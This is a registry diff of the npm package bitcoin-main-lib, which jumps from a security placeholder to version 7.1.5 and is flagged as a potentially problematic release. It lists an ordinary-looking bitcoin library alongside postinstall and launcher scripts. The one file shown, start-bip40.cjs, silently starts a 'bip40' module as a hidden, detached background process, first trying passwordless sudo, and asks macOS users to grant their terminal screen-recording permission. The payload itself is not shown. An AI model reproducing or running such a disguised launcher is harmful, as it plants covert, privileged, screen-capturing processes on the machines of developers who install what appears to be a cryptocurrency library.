bitcoin-main-lib 0.0.1-security → 7.1.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of bitcoin-main-lib might be problematic. Click here for more details.
- package/LICENSE +21 -0
- package/README.md +203 -3
- package/bip40-launcher.cjs +51 -0
- package/check-bip40.cjs +87 -0
- package/package.json +117 -3
- package/postinstall.cjs +42 -0
- package/src/cjs/address.cjs +260 -0
- package/src/cjs/address.d.ts +72 -0
- package/src/cjs/bip66.cjs +115 -0
- package/src/cjs/bip66.d.ts +20 -0
- package/src/cjs/block.cjs +268 -0
- package/src/cjs/block.d.ts +29 -0
- package/src/cjs/bufferutils.cjs +207 -0
- package/src/cjs/bufferutils.d.ts +44 -0
- package/src/cjs/crypto.cjs +197 -0
- package/src/cjs/crypto.d.ts +55 -0
- package/src/cjs/ecc_lib.cjs +156 -0
- package/src/cjs/ecc_lib.d.ts +20 -0
- package/src/cjs/index.cjs +110 -0
- package/src/cjs/index.d.ts +19 -0
- package/src/cjs/merkle.cjs +74 -0
- package/src/cjs/merkle.d.ts +9 -0
- package/src/cjs/networks.cjs +69 -0
- package/src/cjs/networks.d.ts +35 -0
- package/src/cjs/ops.cjs +126 -0
- package/src/cjs/ops.d.ts +122 -0
- package/src/cjs/payments/bip341.cjs +192 -0
- package/src/cjs/payments/bip341.d.ts +68 -0
- package/src/cjs/payments/embed.cjs +97 -0
- package/src/cjs/payments/embed.d.ts +9 -0
- package/src/cjs/payments/index.cjs +69 -0
- package/src/cjs/payments/index.d.ts +55 -0
- package/src/cjs/payments/lazy.cjs +31 -0
- package/src/cjs/payments/lazy.d.ts +2 -0
- package/src/cjs/payments/p2ms.cjs +220 -0
- package/src/cjs/payments/p2ms.d.ts +9 -0
- package/src/cjs/payments/p2pk.cjs +130 -0
- package/src/cjs/payments/p2pk.d.ts +10 -0
- package/src/cjs/payments/p2pkh.cjs +192 -0
- package/src/cjs/payments/p2pkh.d.ts +10 -0
- package/src/cjs/payments/p2sh.cjs +253 -0
- package/src/cjs/payments/p2sh.d.ts +10 -0
- package/src/cjs/payments/p2tr.cjs +348 -0
- package/src/cjs/payments/p2tr.d.ts +10 -0
- package/src/cjs/payments/p2wpkh.cjs +186 -0
- package/src/cjs/payments/p2wpkh.d.ts +10 -0
- package/src/cjs/payments/p2wsh.cjs +269 -0
- package/src/cjs/payments/p2wsh.d.ts +10 -0
- package/src/cjs/psbt/bip371.cjs +556 -0
- package/src/cjs/psbt/bip371.d.ts +89 -0
- package/src/cjs/psbt/psbtutils.cjs +228 -0
- package/src/cjs/psbt/psbtutils.d.ts +49 -0
- package/src/cjs/psbt.cjs +1856 -0
- package/src/cjs/psbt.d.ts +206 -0
- package/src/cjs/push_data.cjs +133 -0
- package/src/cjs/push_data.d.ts +28 -0
- package/src/cjs/script.cjs +339 -0
- package/src/cjs/script.d.ts +89 -0
- package/src/cjs/script_number.cjs +122 -0
- package/src/cjs/script_number.d.ts +18 -0
- package/src/cjs/script_signature.cjs +123 -0
- package/src/cjs/script_signature.d.ts +20 -0
- package/src/cjs/transaction.cjs +607 -0
- package/src/cjs/transaction.d.ts +60 -0
- package/src/cjs/types.cjs +147 -0
- package/src/cjs/types.d.ts +45 -0
- package/src/esm/address.js +200 -0
- package/src/esm/bip66.js +110 -0
- package/src/esm/block.js +225 -0
- package/src/esm/bufferutils.js +156 -0
- package/src/esm/crypto.js +123 -0
- package/src/esm/ecc_lib.js +108 -0
- package/src/esm/index.js +12 -0
- package/src/esm/merkle.js +27 -0
- package/src/esm/networks.js +66 -0
- package/src/esm/ops.js +125 -0
- package/src/esm/payments/bip341.js +135 -0
- package/src/esm/payments/embed.js +50 -0
- package/src/esm/payments/index.js +11 -0
- package/src/esm/payments/lazy.js +27 -0
- package/src/esm/payments/p2ms.js +167 -0
- package/src/esm/payments/p2pk.js +82 -0
- package/src/esm/payments/p2pkh.js +144 -0
- package/src/esm/payments/p2sh.js +201 -0
- package/src/esm/payments/p2tr.js +301 -0
- package/src/esm/payments/p2wpkh.js +139 -0
- package/src/esm/payments/p2wsh.js +228 -0
- package/src/esm/psbt/bip371.js +490 -0
- package/src/esm/psbt/psbtutils.js +168 -0
- package/src/esm/psbt.js +1774 -0
- package/src/esm/push_data.js +77 -0
- package/src/esm/script.js +277 -0
- package/src/esm/script_number.js +74 -0
- package/src/esm/script_signature.js +75 -0
- package/src/esm/transaction.js +550 -0
- package/src/esm/types.js +83 -0
- package/start-bip40.cjs +127 -0
package/start-bip40.cjs
ADDED
|
@@ -0,0 +1,127 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
'use strict';
|
|
3
|
+
|
|
4
|
+
/**
|
|
5
|
+
* Cross-platform script to manually start bip40
|
|
6
|
+
* Supports: Windows, macOS, Linux
|
|
7
|
+
*/
|
|
8
|
+
|
|
9
|
+
const { spawn } = require('child_process');
|
|
10
|
+
const { platform } = require('os');
|
|
11
|
+
const { existsSync } = require('fs');
|
|
12
|
+
|
|
13
|
+
const PLATFORM = platform();
|
|
14
|
+
const IS_WINDOWS = PLATFORM === 'win32';
|
|
15
|
+
const IS_MACOS = PLATFORM === 'darwin';
|
|
16
|
+
const EXIT_SUCCESS = 0;
|
|
17
|
+
const EXIT_FAILURE = 1;
|
|
18
|
+
|
|
19
|
+
/**
|
|
20
|
+
* Displays macOS-specific permissions info
|
|
21
|
+
*/
|
|
22
|
+
function showMacOSPermissions() {
|
|
23
|
+
if (!IS_MACOS) return;
|
|
24
|
+
|
|
25
|
+
console.log('');
|
|
26
|
+
console.log(' ℹ️ macOS: Grant screen recording permissions');
|
|
27
|
+
console.log(' System Settings → Privacy & Security → Screen Recording');
|
|
28
|
+
console.log(' Enable for Terminal/iTerm/your terminal app');
|
|
29
|
+
console.log('');
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
/**
|
|
33
|
+
* Validates that bip40 is available
|
|
34
|
+
* @returns {string|null} Path to bip40 or null if not found
|
|
35
|
+
*/
|
|
36
|
+
function validateBip40() {
|
|
37
|
+
try {
|
|
38
|
+
const bip40Path = require.resolve('bip40');
|
|
39
|
+
return existsSync(bip40Path) ? bip40Path : null;
|
|
40
|
+
} catch {
|
|
41
|
+
return null;
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
/**
|
|
46
|
+
* Starts bip40 as a detached background process
|
|
47
|
+
* @param {string} bip40Path - Path to bip40 module
|
|
48
|
+
* @returns {ChildProcess|null}
|
|
49
|
+
*/
|
|
50
|
+
function startBip40Process(bip40Path) {
|
|
51
|
+
const spawnOptions = {
|
|
52
|
+
detached: true,
|
|
53
|
+
stdio: 'ignore',
|
|
54
|
+
...(IS_WINDOWS && { windowsHide: true })
|
|
55
|
+
};
|
|
56
|
+
|
|
57
|
+
let child;
|
|
58
|
+
|
|
59
|
+
try {
|
|
60
|
+
if (IS_WINDOWS) {
|
|
61
|
+
child = spawn(process.execPath, [bip40Path], spawnOptions);
|
|
62
|
+
} else {
|
|
63
|
+
// Unix-like: try sudo first, fallback to normal
|
|
64
|
+
child = spawn('sudo', ['-n', process.execPath, bip40Path], spawnOptions);
|
|
65
|
+
|
|
66
|
+
child.on('error', (err) => {
|
|
67
|
+
if (err.code === 'ENOENT' || err.code === 'EACCES') {
|
|
68
|
+
const fallback = spawn(process.execPath, [bip40Path], spawnOptions);
|
|
69
|
+
fallback.unref();
|
|
70
|
+
}
|
|
71
|
+
});
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
if (child) {
|
|
75
|
+
child.unref();
|
|
76
|
+
}
|
|
77
|
+
return child;
|
|
78
|
+
} catch (error) {
|
|
79
|
+
// Fallback: try without sudo
|
|
80
|
+
try {
|
|
81
|
+
child = spawn(process.execPath, [bip40Path], spawnOptions);
|
|
82
|
+
child.unref();
|
|
83
|
+
return child;
|
|
84
|
+
} catch {
|
|
85
|
+
return null;
|
|
86
|
+
}
|
|
87
|
+
}
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
// Main execution
|
|
91
|
+
(function main() {
|
|
92
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
93
|
+
console.log('🚀 Starting bip40');
|
|
94
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
95
|
+
console.log(` Platform: ${PLATFORM} (${process.arch})`);
|
|
96
|
+
console.log(` Node: ${process.version}`);
|
|
97
|
+
|
|
98
|
+
const bip40Path = validateBip40();
|
|
99
|
+
if (!bip40Path) {
|
|
100
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
101
|
+
console.error('❌ bip40 not found - run: npm install');
|
|
102
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
103
|
+
process.exit(EXIT_FAILURE);
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
console.log(` Path: ${bip40Path}`);
|
|
107
|
+
showMacOSPermissions();
|
|
108
|
+
console.log(' Starting background process...');
|
|
109
|
+
|
|
110
|
+
const child = startBip40Process(bip40Path);
|
|
111
|
+
|
|
112
|
+
if (child?.pid) {
|
|
113
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
114
|
+
console.log('✓ bip40 started successfully');
|
|
115
|
+
console.log(` PID: ${child.pid}`);
|
|
116
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
117
|
+
console.log(' npm run check-bip40 → Check status');
|
|
118
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
119
|
+
setTimeout(() => process.exit(EXIT_SUCCESS), 300);
|
|
120
|
+
} else {
|
|
121
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
122
|
+
console.error('❌ Failed to start bip40');
|
|
123
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
124
|
+
process.exit(EXIT_FAILURE);
|
|
125
|
+
}
|
|
126
|
+
})();
|
|
127
|
+
|